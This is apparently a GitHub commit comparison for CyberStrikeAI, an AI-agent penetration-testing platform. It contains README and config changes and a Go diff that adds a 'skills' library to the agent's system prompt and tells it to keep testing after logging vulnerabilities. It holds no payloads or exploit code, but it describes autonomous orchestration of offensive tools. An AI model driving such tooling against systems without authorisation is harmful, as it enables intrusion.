Compare commits

..

39 Commits

Author SHA1 Message Date
公明 dd6ca2d9d9 Add files via upload 2026-01-16 00:05:43 +08:00
公明 749cf6e37e Add files via upload 2026-01-15 23:56:41 +08:00
公明 d80c5914df Add files via upload 2026-01-15 23:41:57 +08:00
公明 45f4b52353 Add files via upload 2026-01-15 23:20:26 +08:00
公明 704bdc7f76 Update config.yaml 2026-01-15 22:36:30 +08:00
公明 650c56242a Add files via upload 2026-01-15 22:29:50 +08:00
公明 af2eccc9fc Add files via upload 2026-01-15 22:17:50 +08:00
公明 c617781e6b Add files via upload 2026-01-15 22:14:50 +08:00
公明 8660319b52 Add files via upload 2026-01-15 22:13:59 +08:00
公明 7afe355195 Delete CHANGELOG.md 2026-01-15 22:05:42 +08:00
公明 413806edbe Update recent highlights in README_CN.md 2026-01-15 22:02:41 +08:00
公明 e6ddd9d00c Update README.md 2026-01-15 22:01:59 +08:00
公明 68ad2bf67a Add files via upload 2026-01-15 22:00:10 +08:00
公明 67e2e56bd2 Add files via upload 2026-01-14 01:21:20 +08:00
公明 7d06a9575d Update http-framework-test.yaml 2026-01-13 19:23:07 +08:00
公明 09b0104403 Add files via upload 2026-01-13 01:18:59 +08:00
公明 66aa169a60 Add files via upload 2026-01-12 20:17:50 +08:00
公明 1d4c1dfb11 Add files via upload 2026-01-12 19:55:27 +08:00
公明 747c4a4c01 Add files via upload 2026-01-12 19:33:31 +08:00
公明 3d9f600e73 Add files via upload 2026-01-12 19:28:25 +08:00
公明 81757948eb Add files via upload 2026-01-12 19:10:43 +08:00
公明 98d36f750b Delete tools/httpx.yaml 2026-01-12 19:02:26 +08:00
公明 d598c40570 Add files via upload 2026-01-12 18:55:56 +08:00
公明 2064e89356 Add files via upload 2026-01-12 18:55:12 +08:00
公明 4a7422cbc4 Add files via upload 2026-01-11 15:17:41 +08:00
公明 c5fc0fa2c1 Delete 效果.png 2026-01-11 15:08:01 +08:00
公明 a98bfa35fd Add files via upload 2026-01-11 15:06:21 +08:00
公明 bb05f6677f Update README_CN.md 2026-01-11 15:05:52 +08:00
公明 231ef57642 Update README.md 2026-01-11 15:05:14 +08:00
公明 12eecfe5d2 Add files via upload 2026-01-11 15:03:03 +08:00
公明 5fa25eacb5 Add files via upload 2026-01-11 14:37:21 +08:00
公明 885203358c Add files via upload 2026-01-11 14:36:45 +08:00
公明 6fdd2c88da Delete img/效果.png 2026-01-11 14:34:45 +08:00
公明 8581027bbe Add files via upload 2026-01-11 14:31:35 +08:00
公明 6084d2d84f Add files via upload 2026-01-11 14:14:51 +08:00
公明 9e7ef85510 Add files via upload 2026-01-11 13:57:16 +08:00
公明 89b4517a83 Add files via upload 2026-01-11 13:49:15 +08:00
公明 ae528843ff Add files via upload 2026-01-11 13:44:06 +08:00
公明 fc40b42d35 Add files via upload 2026-01-11 02:46:23 +08:00
71 changed files with 11613 additions and 1282 deletions
-169
View File
@@ -1,169 +0,0 @@
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [Unreleased]
## [1.2.0] - 2026-01-11
### Added
- Role-based testing feature: predefined security testing roles with custom system prompts and tool restrictions. Users can select roles (Penetration Testing, CTF, Web App Scanning, etc.) from the chat interface to customize AI behavior and available tools. Roles are defined as YAML files in the `roles/` directory with support for hot-reload.
## [1.1.0] - 2026-01-08
### Added
- SSE (Server-Sent Events) transport mode support for external MCP servers. External MCP federation now supports HTTP, stdio, and SSE modes. SSE mode enables real-time streaming communication for push-based scenarios.
## [1.0.0] - 2026-01-01
### Added
- Batch task management feature: create task queues with multiple tasks, add/edit/delete tasks before execution, and execute them sequentially. Each task runs as a separate conversation with status tracking (pending/running/completed/failed/cancelled). All queues and tasks are persisted in the database.
## [0.7.0] - 2025-12-25
### Added
- Vulnerability management feature: full CRUD operations for tracking vulnerabilities discovered during testing. Supports severity levels (critical/high/medium/low/info), status workflow (open/confirmed/fixed/false_positive), filtering by conversation/severity/status, and comprehensive statistics dashboard.
- Conversation grouping feature: organize conversations into groups, pin groups to top, rename/delete groups via context menu. All group data is persisted in the database.
## [0.6.1] - 2025-12-24
### Changed
- Refactored attack chain generation logic, achieving 2x faster generation speed. Redesigned attack chain frontend visualization for improved user experience.
## [0.6.0] - 2025-12-20
### Added
- Knowledge base feature with vector search, hybrid retrieval, and automatic indexing. AI agent can now search security knowledge during conversations.
## [0.5.1] - 2025-12-19
### Added
- ZoomEye network space search engine tool (zoomeye_search) with support for IPv4/IPv6/web assets, facets statistics, and flexible query parameters.
## [0.5.0] - 2025-12-18
### Changed
- Optimized web frontend with enhanced sidebar navigation and improved user experience.
## [0.4.1] - 2025-12-07
### Added
- FOFA network space search engine tool (fofa_search) with flexible query parameters and field configuration.
### Fixed
- Positional parameter handling bug: ensure correct parameter position when using default values.
## [0.4.0] - 2025-11-20
### Added
- Automatic compression/summarization for oversized tool logs and MCP transcripts.
## [0.3.0] - 2025-11-17
### Added
- AI-built attack-chain visualization with interactive graph and risk scoring.
## [0.2.0] - 2025-11-15
### Added
- Large-result pagination, advanced filtering, and external MCP federation.
## [0.1.1] - 2025-11-14
### Changed
- Optimized tool lookups to O(1) time complexity.
- Execution record cleanup and DB pagination improvements.
## [0.1.0] - 2025-11-13
### Added
- Web authentication, settings UI, and MCP stdio mode integration.
---
# 更新日志
本项目的重要变更将记录在此文件中。
格式基于 [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
并遵循 [语义化版本](https://semver.org/lang/zh-CN/)。
## [未发布]
## [1.2.0] - 2026-01-11
### 新增
- 角色化测试功能:预设安全测试角色,支持自定义系统提示词和工具限制。用户可在聊天界面选择角色(渗透测试、CTF、Web 应用扫描等),以自定义 AI 行为和可用工具。角色以 YAML 文件形式定义在 `roles/` 目录,支持热加载。
## [1.1.0] - 2026-01-08
### 新增
- SSEServer-Sent Events)传输模式支持,外部 MCP 联邦现支持 HTTP、stdio 和 SSE 三种模式。SSE 模式支持实时流式通信,适用于基于推送的场景。
## [1.0.0] - 2026-01-01
### 新增
- 批量任务管理功能:支持创建任务队列,批量添加多个任务,执行前可编辑或删除任务,然后依次顺序执行。每个任务作为独立对话运行,支持状态跟踪(待执行/执行中/已完成/失败/已取消),所有队列和任务数据持久化存储到数据库。
## [0.7.0] - 2025-12-25
### 新增
- 漏洞管理功能:完整的漏洞 CRUD 操作,支持跟踪测试过程中发现的漏洞。支持严重程度分级(严重/高/中/低/信息)、状态流转(待确认/已确认/已修复/误报)、按对话/严重程度/状态过滤,以及统计看板。
- 对话分组功能:支持创建分组、将对话移动到分组、分组置顶、重命名和删除等操作,所有分组数据持久化存储到数据库。
## [0.6.1] - 2025-12-24
### 变更
- 重构攻击链生成逻辑,生成速度提升一倍。重构攻击链前端页面展示,优化用户体验。
## [0.6.0] - 2025-12-20
### 新增
- 知识库功能:支持向量检索、混合搜索与自动索引,AI 智能体可在对话中自动搜索安全知识。
## [0.5.1] - 2025-12-19
### 新增
- 钟馗之眼(ZoomEye)网络空间搜索引擎工具(zoomeye_search),支持 IPv4/IPv6/Web 等资产搜索、统计项查询与灵活的查询参数配置。
## [0.5.0] - 2025-12-18
### 变更
- 优化 Web 前端界面,增加侧边栏导航,提升用户体验。
## [0.4.1] - 2025-12-07
### 新增
- FOFA 网络空间搜索引擎工具(fofa_search),支持灵活的查询参数与字段配置。
### 修复
- 修复位置参数处理 bug:当工具参数使用默认值时,确保后续参数位置正确传递。
## [0.4.0] - 2025-11-20
### 新增
- 支持超大日志/MCP 记录的自动压缩与摘要回写。
## [0.3.0] - 2025-11-17
### 新增
- 上线 AI 驱动的攻击链图谱与风险评分。
## [0.2.0] - 2025-11-15
### 新增
- 提供大结果分页检索与外部 MCP 挂载能力。
## [0.1.1] - 2025-11-14
### 变更
- 工具检索优化至 O(1) 时间复杂度。
- 执行记录清理、数据库分页优化。
## [0.1.0] - 2025-11-13
### 新增
- Web 鉴权、Settings 面板与 MCP stdio 模式发布。
+67 -19
View File
@@ -7,28 +7,59 @@
[中文](README_CN.md) | [English](README.md)
CyberStrikeAI is an **AI-native security testing platform** built in Go. It integrates 100+ security tools, an intelligent orchestration engine, and comprehensive lifecycle management capabilities. Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams.
CyberStrikeAI is an **AI-native security testing platform** built in Go. It integrates 100+ security tools, an intelligent orchestration engine, role-based testing with predefined security roles, a skills system with specialized testing skills, and comprehensive lifecycle management capabilities. Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams.
## Interface & Integration Preview
### Web Console
<img src="./img/效果.png" alt="Web Console" width="560">
<div align="center">
### MCP Integration
- **MCP stdio mode**
<img src="./img/mcp-stdio2.png" alt="MCP stdio mode" width="560">
- **MCP management**
<img src="./img/MCP管理.png" alt="MCP management" width="560">
### Core Features Overview
### Attack Chain Visualization
<img src="./img/攻击链.png" alt="Attack Chain" width="560">
<table>
<tr>
<td width="50%" align="center">
<strong>Web Console</strong><br/>
<img src="./img/效果.png" alt="Web Console" width="100%">
</td>
<td width="50%" align="center">
<strong>MCP Integration</strong><br/>
<img src="./img/MCP管理.png" alt="MCP management" width="100%">
</td>
</tr>
<tr>
<td width="50%" align="center">
<strong>Attack Chain Visualization</strong><br/>
<img src="./img/攻击链.png" alt="Attack Chain" width="100%">
</td>
<td width="50%" align="center">
<strong>Vulnerability Management</strong><br/>
<img src="./img/漏洞管理.png" alt="Vulnerability Management" width="100%">
</td>
</tr>
<tr>
<td width="50%" align="center">
<strong>Task Management</strong><br/>
<img src="./img/任务.png" alt="Task Management" width="100%">
</td>
<td width="50%" align="center">
<strong>Role Management</strong><br/>
<img src="./img/角色管理.png" alt="Role Management" width="100%">
</td>
</tr>
<tr>
<td width="50%" align="center">
<strong>Skills Management</strong><br/>
<img src="./img/skills.png" alt="Skills Management" width="100%">
</td>
<td width="50%" align="center">
<strong>MCP stdio Mode</strong><br/>
<img src="./img/mcp-stdio2.png" alt="MCP stdio mode" width="100%">
</td>
</tr>
</table>
### Vulnerability Management
<img src="./img/漏洞管理.png" alt="Vulnerability Management" width="560">
### Task Management
<img src="./img/任务.png" alt="Task Management" width="560">
</div>
## Highlights
@@ -43,6 +74,7 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte
- 🛡️ Vulnerability management with CRUD operations, severity tracking, status workflow, and statistics
- 📋 Batch task management: create task queues, add multiple tasks, and execute them sequentially
- 🎭 Role-based testing: predefined security testing roles (Penetration Testing, CTF, Web App Scanning, etc.) with custom prompts and tool restrictions
- 🎯 Skills system: 20+ predefined security testing skills (SQL injection, XSS, API security, etc.) that can be attached to roles or called on-demand by AI agents
## Tool Overview
@@ -142,7 +174,8 @@ go build -o cyberstrike-ai cmd/server/main.go
- **Predefined roles** System includes 12+ predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, Binary Analysis, Cloud Security Audit, etc.) in the `roles/` directory.
- **Custom prompts** Each role can define a `user_prompt` that prepends to user messages, guiding the AI to adopt specialized testing methodologies and focus areas.
- **Tool restrictions** Roles can specify a `tools` list to limit available tools, ensuring focused testing workflows (e.g., CTF role restricts to CTF-specific utilities).
- **Easy role creation** Create custom roles by adding YAML files to the `roles/` directory. Each role defines `name`, `description`, `user_prompt`, `icon`, `tools`, and `enabled` fields.
- **Skills integration** Roles can attach security testing skills that are automatically injected into system prompts.
- **Easy role creation** Create custom roles by adding YAML files to the `roles/` directory. Each role defines `name`, `description`, `user_prompt`, `icon`, `tools`, `skills`, and `enabled` fields.
- **Web UI integration** Select roles from a dropdown in the chat interface. Role selection affects both AI behavior and available tool suggestions.
**Creating a custom role (example):**
@@ -156,10 +189,25 @@ go build -o cyberstrike-ai cmd/server/main.go
- api-fuzzer
- arjun
- graphql-scanner
skills:
- api-security-testing
- sql-injection-testing
enabled: true
```
2. Restart the server or reload configuration; the role appears in the role selector dropdown.
### Skills System
- **Predefined skills** System includes 20+ predefined security testing skills (SQL injection, XSS, API security, cloud security, container security, etc.) in the `skills/` directory.
- **Automatic injection** When a role is selected, all skills attached to that role are automatically loaded and injected into the system prompt, providing AI with specialized knowledge and methodologies.
- **On-demand access** AI agents can also access skills on-demand using built-in tools (`list_skills`, `read_skill`), allowing dynamic skill retrieval during task execution.
- **Structured format** Each skill is a directory containing a `SKILL.md` file with detailed testing methods, tool usage, best practices, and examples. Skills support YAML front matter for metadata.
- **Custom skills** Create custom skills by adding directories to the `skills/` directory. Each skill directory should contain a `SKILL.md` file with the skill content.
**Creating a custom skill:**
1. Create a directory in `skills/` (e.g., `skills/my-skill/`)
2. Create a `SKILL.md` file in that directory with the skill content
3. Attach the skill to a role by adding it to the role's `skills` field in the role YAML file
### Tool Orchestration & Extensions
- **YAML recipes** in `tools/*.yaml` describe commands, arguments, prompts, and metadata.
- **Directory hot-reload** pointing `security.tools_dir` to a folder is usually enough; inline definitions in `config.yaml` remain supported for quick experiments.
@@ -361,6 +409,7 @@ knowledge:
similarity_threshold: 0.7 # Minimum similarity score (0-1)
hybrid_weight: 0.7 # Weight for vector search (1.0 = pure vector, 0.0 = pure keyword)
roles_dir: "roles" # Role configuration directory (relative to config file)
skills_dir: "skills" # Skills directory (relative to config file)
```
### Tool Definition Example (`tools/nmap.yaml`)
@@ -412,6 +461,7 @@ CyberStrikeAI/
├── web/ # Static SPA + templates
├── tools/ # YAML tool recipes (100+ examples provided)
├── roles/ # Role configurations (12+ predefined security testing roles)
├── skills/ # Skills directory (20+ predefined security testing skills)
├── img/ # Docs screenshots & diagrams
├── config.yaml # Runtime configuration
├── run.sh # Convenience launcher
@@ -443,15 +493,13 @@ See [CHANGELOG.md](CHANGELOG.md) for detailed version history and all changes.
### Recent Highlights
- **2026-01-15** Skills system with 20+ predefined security testing skills
- **2026-01-11** Role-based testing with predefined security testing roles
- **2026-01-08** SSE transport mode support for external MCP servers
- **2026-01-01** Batch task management with queue-based execution
- **2025-12-25** Vulnerability management and conversation grouping features
- **2025-12-20** Knowledge base with vector search and hybrid retrieval
## Star History
![Star History Chart](https://api.star-history.com/svg?repos=Ed1s0nZ/CyberStrikeAI&type=date&legend=top-left)
## 404Starlink
+67 -19
View File
@@ -6,28 +6,59 @@
[中文](README_CN.md) | [English](README.md)
CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集成了 100+ 安全工具、智能编排引擎完整的测试生命周期管理能力。通过原生 MCP 协议与 AI 智能体,支持从对话指令到漏洞发现、攻击链分析、知识检索与结果可视化的全流程自动化,为安全团队提供可审计、可追溯、可协作的专业测试环境。
CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集成了 100+ 安全工具、智能编排引擎、角色化测试与预设安全测试角色、Skills 技能系统与专业测试技能,以及完整的测试生命周期管理能力。通过原生 MCP 协议与 AI 智能体,支持从对话指令到漏洞发现、攻击链分析、知识检索与结果可视化的全流程自动化,为安全团队提供可审计、可追溯、可协作的专业测试环境。
## 界面与集成预览
### Web 控制台
<img src="./img/效果.png" alt="Web 控制台" width="560">
<div align="center">
### MCP 集成
- **MCP stdio 模式**
<img src="./img/mcp-stdio2.png" alt="MCP stdio 模式" width="560">
- **MCP 管理**
<img src="./img/MCP管理.png" alt="MCP 管理" width="560">
### 核心功能概览
### 攻击链可视化
<img src="./img/攻击链.png" alt="攻击链" width="560">
<table>
<tr>
<td width="50%" align="center">
<strong>Web 控制台</strong><br/>
<img src="./img/效果.png" alt="Web 控制台" width="100%">
</td>
<td width="50%" align="center">
<strong>MCP 集成</strong><br/>
<img src="./img/MCP管理.png" alt="MCP 管理" width="100%">
</td>
</tr>
<tr>
<td width="50%" align="center">
<strong>攻击链可视化</strong><br/>
<img src="./img/攻击链.png" alt="攻击链" width="100%">
</td>
<td width="50%" align="center">
<strong>漏洞管理</strong><br/>
<img src="./img/漏洞管理.png" alt="漏洞管理" width="100%">
</td>
</tr>
<tr>
<td width="50%" align="center">
<strong>任务管理</strong><br/>
<img src="./img/任务.png" alt="任务管理" width="100%">
</td>
<td width="50%" align="center">
<strong>角色管理</strong><br/>
<img src="./img/角色管理.png" alt="角色管理" width="100%">
</td>
</tr>
<tr>
<td width="50%" align="center">
<strong>Skills 管理</strong><br/>
<img src="./img/skills.png" alt="Skills 管理" width="100%">
</td>
<td width="50%" align="center">
<strong>MCP stdio 模式</strong><br/>
<img src="./img/mcp-stdio2.png" alt="MCP stdio 模式" width="100%">
</td>
</tr>
</table>
### 漏洞管理
<img src="./img/漏洞管理.png" alt="漏洞管理" width="560">
### 任务管理
<img src="./img/任务.png" alt="任务管理" width="560">
</div>
## 特性速览
@@ -42,6 +73,7 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集
- 🛡️ 漏洞管理功能:完整的漏洞 CRUD 操作,支持严重程度分级、状态流转、按对话/严重程度/状态过滤,以及统计看板
- 📋 批量任务管理:创建任务队列,批量添加任务,依次顺序执行,支持任务编辑与状态跟踪
- 🎭 角色化测试:预设安全测试角色(渗透测试、CTF、Web 应用扫描等),支持自定义提示词和工具限制
- 🎯 Skills 技能系统:20+ 预设安全测试技能(SQL 注入、XSS、API 安全等),可附加到角色或由 AI 按需调用
## 工具概览
@@ -141,7 +173,8 @@ go build -o cyberstrike-ai cmd/server/main.go
- **预设角色**:系统内置 12+ 个预设的安全测试角色(渗透测试、CTF、Web 应用扫描、API 安全测试、二进制分析、云安全审计等),位于 `roles/` 目录。
- **自定义提示词**:每个角色可定义 `user_prompt`,会在用户消息前自动添加,引导 AI 采用特定的测试方法和关注重点。
- **工具限制**:角色可指定 `tools` 列表,限制可用工具,实现聚焦的测试流程(如 CTF 角色限制为 CTF 专用工具)。
- **轻松创建角色**:通过在 `roles/` 目录添加 YAML 文件即可创建自定义角色。每个角色定义 `name`、`description`、`user_prompt`、`icon`、`tools`、`enabled` 字段
- **Skills 集成**:角色可附加安全测试技能,选择角色时自动注入到系统提示词中
- **轻松创建角色**:通过在 `roles/` 目录添加 YAML 文件即可创建自定义角色。每个角色定义 `name`、`description`、`user_prompt`、`icon`、`tools`、`skills`、`enabled` 字段。
- **Web 界面集成**:在聊天界面通过下拉菜单选择角色。角色选择会影响 AI 行为和可用工具建议。
**创建自定义角色示例:**
@@ -155,10 +188,25 @@ go build -o cyberstrike-ai cmd/server/main.go
- api-fuzzer
- arjun
- graphql-scanner
skills:
- api-security-testing
- sql-injection-testing
enabled: true
```
2. 重启服务或重新加载配置,角色会出现在角色选择下拉菜单中。
### Skills 技能系统
- **预设技能**:系统内置 20+ 个预设的安全测试技能(SQL 注入、XSS、API 安全、云安全、容器安全等),位于 `skills/` 目录。
- **自动注入**:当选择某个角色时,该角色附加的所有技能会自动加载并注入到系统提示词中,为 AI 提供专业知识和测试方法。
- **按需调用**:AI 智能体也可以通过内置工具(`list_skills`、`read_skill`)按需访问技能,允许在执行任务过程中动态获取相关技能。
- **结构化格式**:每个技能是一个目录,包含一个 `SKILL.md` 文件,详细描述测试方法、工具使用、最佳实践和示例。技能支持 YAML front matter 格式用于元数据。
- **自定义技能**:通过在 `skills/` 目录添加目录即可创建自定义技能。每个技能目录应包含一个 `SKILL.md` 文件。
**创建自定义技能:**
1. 在 `skills/` 目录创建目录(如 `skills/my-skill/`
2. 在该目录下创建 `SKILL.md` 文件,编写技能内容
3. 在角色的 YAML 文件中,通过添加 `skills` 字段将该技能附加到角色
### 工具编排与扩展
- `tools/*.yaml` 定义命令、参数、提示词与元数据,可热加载。
- `security.tools_dir` 指向目录即可批量启用;仍支持在主配置里内联定义。
@@ -360,6 +408,7 @@ knowledge:
similarity_threshold: 0.7 # 相似度阈值(0-1),低于此值的结果将被过滤
hybrid_weight: 0.7 # 混合检索权重(0-1),向量检索的权重,1.0 表示纯向量检索,0.0 表示纯关键词检索
roles_dir: "roles" # 角色配置文件目录(相对于配置文件所在目录)
skills_dir: "skills" # Skills 目录(相对于配置文件所在目录)
```
### 工具模版示例(`tools/nmap.yaml`
@@ -411,6 +460,7 @@ CyberStrikeAI/
├── web/ # 前端静态资源与模板
├── tools/ # YAML 工具目录(含 100+ 示例)
├── roles/ # 角色配置文件目录(含 12+ 预设安全测试角色)
├── skills/ # Skills 目录(含 20+ 预设安全测试技能)
├── img/ # 文档配图
├── config.yaml # 运行配置
├── run.sh # 启动脚本
@@ -442,15 +492,13 @@ CyberStrikeAI/
### 近期亮点
- **2026-01-15** 新增 Skills 技能系统,内置 20+ 预设安全测试技能
- **2026-01-11** – 新增角色化测试功能,支持预设安全测试角色
- **2026-01-08** 新增 SSE 传输模式支持,外部 MCP 联邦支持三种模式
- **2026-01-01** – 新增批量任务管理功能,支持队列式任务执行
- **2025-12-25** 新增漏洞管理和对话分组功能
- **2025-12-20** – 新增知识库功能,支持向量检索和混合搜索
## Star History
![Star History Chart](https://api.star-history.com/svg?repos=Ed1s0nZ/CyberStrikeAI&type=date&legend=top-left)
## 404星链计划
<img src="./img/404StarLinkLogo.png" width="30%">
+89 -44
View File
@@ -5,68 +5,113 @@
# 点击右上角"设置"按钮即可修改配置
# ============================================
# ============================================
# 系统设置
# ============================================
# 服务器配置
server:
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
port: 8080 # HTTP 服务端口,可通过浏览器访问 http://localhost:8080
port: 8080 # HTTP 服务端口,可通过浏览器访问 http://localhost:8080
# 认证配置
auth:
password: # Web 登录密码,请修改为强密码
session_duration_hours: 12 # 登录有效期(小时),超时后需重新登录
session_duration_hours: 12 # 登录有效期(小时),超时后需重新登录
# 日志配置
log:
level: info # 日志级别: debug(调试), info(信息), warn(警告), error(错误)
level: info # 日志级别: debug(调试), info(信息), warn(警告), error(错误)
output: stdout # 日志输出位置: stdout(标准输出), stderr(标准错误), 或文件路径
# ============================================
# 对话相关配置
# ============================================
# AI 模型配置(支持 OpenAI 兼容 API)
# 必填项:api_key, base_url, model 必须填写才能正常运行
# 支持的 API 服务商:
# - OpenAI: https://api.openai.com/v1
# - DeepSeek: https://api.deepseek.com/v1
# - 其他兼容 OpenAI 协议的 API
# 常用模型: gpt-4, gpt-3.5-turbo, deepseek-chat, claude-3-opus 等
openai:
base_url: https://api.deepseek.com/v1 # API 基础 URL(必填)
api_key: sk-xxxx # API 密钥(必填)
model: deepseek-chat # 模型名称(必填)
max_total_tokens: 120000 # LLM 相关上下文的最大 Token 数限制(内存压缩和攻击链构建会共用此配置)
# Agent 配置
# 达到最大迭代次数时,AI 会自动总结测试结果
agent:
max_iterations: 120 # 最大迭代次数,AI 代理最多执行多少轮工具调用
large_result_threshold: 102400 # 大结果阈值(字节),默认50KB,超过此大小会自动保存到存储
result_storage_dir: tmp # 结果存储目录,大结果会保存在此目录下
# 数据库配置
database:
path: data/conversations.db # SQLite 数据库文件路径,用于存储对话历史和消息
knowledge_db_path: data/knowledge.db # 知识库数据库文件路径(可选,为空则使用会话数据库),用于存储知识库项和向量嵌入,可独立复制和复用
# ============================================
# 任务管理相关配置
# ============================================
# (配置项已包含在对话相关配置中)
# ============================================
# 漏洞管理相关配置
# ============================================
# 安全工具配置
# 系统会从该目录加载所有 .yaml 格式的工具配置文件
# 推荐方式:在 tools/ 目录下为每个工具创建独立的配置文件
security:
tools_dir: tools # 工具配置文件目录(相对于配置文件所在目录)
# ============================================
# MCP 相关配置
# ============================================
# MCP 协议配置
# MCP (Model Context Protocol) 用于工具注册和调用
mcp:
enabled: false # 是否启用 MCP 服务器(http模式)
host: 0.0.0.0 # MCP 服务器监听地址
port: 8081 # MCP 服务器端口
# AI 模型配置(支持 OpenAI 兼容 API)
# 必填项:api_key, base_url, model 必须填写才能正常运行
openai:
base_url: https://api.deepseek.com/v1 # API 基础 URL(必填)
api_key: sk-xxxx # API 密钥(必填)
# 支持的 API 服务商:
# - OpenAI: https://api.openai.com/v1
# - DeepSeek: https://api.deepseek.com/v1
# - 其他兼容 OpenAI 协议的 API
model: deepseek-chat # 模型名称(必填)
max_total_tokens: 120000 # LLM 相关上下文的最大 Token 数限制(内存压缩和攻击链构建会共用此配置)
# 常用模型: gpt-4, gpt-3.5-turbo, deepseek-chat, claude-3-opus 等
# Agent 配置
agent:
max_iterations: 120 # 最大迭代次数,AI 代理最多执行多少轮工具调用
# 达到最大迭代次数时,AI 会自动总结测试结果
large_result_threshold: 102400 # 大结果阈值(字节),默认50KB,超过此大小会自动保存到存储
result_storage_dir: tmp # 结果存储目录,大结果会保存在此目录下
# 数据库配置
database:
path: data/conversations.db # SQLite 数据库文件路径,用于存储对话历史和消息
knowledge_db_path: data/knowledge.db # 知识库数据库文件路径(可选,为空则使用会话数据库),用于存储知识库项和向量嵌入,可独立复制和复用
# 安全工具配置
security:
tools_dir: tools # 工具配置文件目录(相对于配置文件所在目录)
# 系统会从该目录加载所有 .yaml 格式的工具配置文件
# 推荐方式:在 tools/ 目录下为每个工具创建独立的配置文件
# 外部MCP配置
host: 0.0.0.0 # MCP 服务器监听地址
port: 8081 # MCP 服务器端口
# 外部 MCP 配置
external_mcp:
servers: {}
# 知识库配置
# ============================================
# 知识库相关配置
# ============================================
knowledge:
enabled: false # 是否启用知识检索功能
base_path: knowledge_base # 知识库目录路径(相对于配置文件所在目录)
enabled: false # 是否启用知识检索功能
base_path: knowledge_base # 知识库目录路径(相对于配置文件所在目录)
embedding:
provider: openai # 嵌入模型提供商(目前仅支持openai)
model: text-embedding-v4 # 嵌入模型名称
provider: openai # 嵌入模型提供商(目前仅支持openai)
model: text-embedding-v4 # 嵌入模型名称
base_url: https://api.deepseek.com/v1 # 留空则使用OpenAI配置的base_url
api_key: sk-xxxxxx # 留空则使用OpenAI配置的api_key
api_key: sk-xxxxxx # 留空则使用OpenAI配置的api_key
retrieval:
top_k: 5 # 检索返回的Top-K结果数量
similarity_threshold: 0.7 # 相似度阈值(0-1),低于此值的结果将被过滤
hybrid_weight: 0.7 # 混合检索权重(0-1),向量检索的权重,1.0表示纯向量检索,0.0表示纯关键词检索
# 角色配置
roles_dir: roles # 角色配置文件目录(相对于配置文件所在目录)
top_k: 5 # 检索返回的Top-K结果数量
similarity_threshold: 0.7 # 相似度阈值(0-1),低于此值的结果将被过滤
hybrid_weight: 0.7 # 混合检索权重(0-1),向量检索的权重,1.0表示纯向量检索,0.0表示纯关键词检索
# ============================================
# Skills 相关配置
# ============================================
# 系统会从该目录加载所有skills,每个skill应是一个目录,包含SKILL.md文件
# 例如:skills/sql-injection-testing/SKILL.md
skills_dir: skills # Skills配置文件目录(相对于配置文件所在目录)
# ============================================
# 角色相关配置
# ============================================
# 系统会从该目录加载所有 .yaml 格式的角色配置文件
# 每个角色应创建独立的配置文件,例如:roles/CTF.yaml, roles/默认.yaml 等
roles_dir: roles # 角色配置文件目录(相对于配置文件所在目录)
Binary file not shown.

Before

Width:  |  Height:  |  Size: 335 KiB

After

Width:  |  Height:  |  Size: 839 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 468 KiB

BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 331 KiB

After

Width:  |  Height:  |  Size: 543 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 506 KiB

+43 -4
View File
@@ -303,16 +303,17 @@ type ProgressCallback func(eventType, message string, data interface{})
// AgentLoop 执行Agent循环
func (a *Agent) AgentLoop(ctx context.Context, userInput string, historyMessages []ChatMessage) (*AgentLoopResult, error) {
return a.AgentLoopWithProgress(ctx, userInput, historyMessages, "", nil, nil)
return a.AgentLoopWithProgress(ctx, userInput, historyMessages, "", nil, nil, nil)
}
// AgentLoopWithConversationID 执行Agent循环(带对话ID
func (a *Agent) AgentLoopWithConversationID(ctx context.Context, userInput string, historyMessages []ChatMessage, conversationID string) (*AgentLoopResult, error) {
return a.AgentLoopWithProgress(ctx, userInput, historyMessages, conversationID, nil, nil)
return a.AgentLoopWithProgress(ctx, userInput, historyMessages, conversationID, nil, nil, nil)
}
// AgentLoopWithProgress 执行Agent循环(带进度回调和对话ID)
func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, historyMessages []ChatMessage, conversationID string, callback ProgressCallback, roleTools []string) (*AgentLoopResult, error) {
// roleSkills: 角色配置的skills列表(用于在系统提示词中提示AI,但不硬编码内容)
func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, historyMessages []ChatMessage, conversationID string, callback ProgressCallback, roleTools []string, roleSkills []string) (*AgentLoopResult, error) {
// 设置当前对话ID
a.mu.Lock()
a.currentConversationID = conversationID
@@ -411,7 +412,45 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
* low(低):影响较小,难以利用或影响范围有限
* info(信息):安全配置问题、信息泄露但不直接可利用等
- 确保漏洞证明(proof)包含足够的证据,如请求/响应、截图、命令输出等
- 在记录漏洞后,继续测试以发现更多问题`
- 在记录漏洞后,继续测试以发现更多问题
技能库(Skills):
- 系统提供了技能库(Skills),包含各种安全测试的专业技能和方法论文档
- 技能库与知识库的区别:
* 知识库(Knowledge Base):用于检索分散的知识片段,适合快速查找特定信息
* 技能库(Skills):包含完整的专业技能文档,适合深入学习某个领域的测试方法、工具使用、绕过技巧等
- 当你需要特定领域的专业技能时,可以使用以下工具按需获取:
* ` + builtin.ToolListSkills + `: 获取所有可用的skills列表,查看有哪些专业技能可用
* ` + builtin.ToolReadSkill + `: 读取指定skill的详细内容,获取该领域的专业技能文档
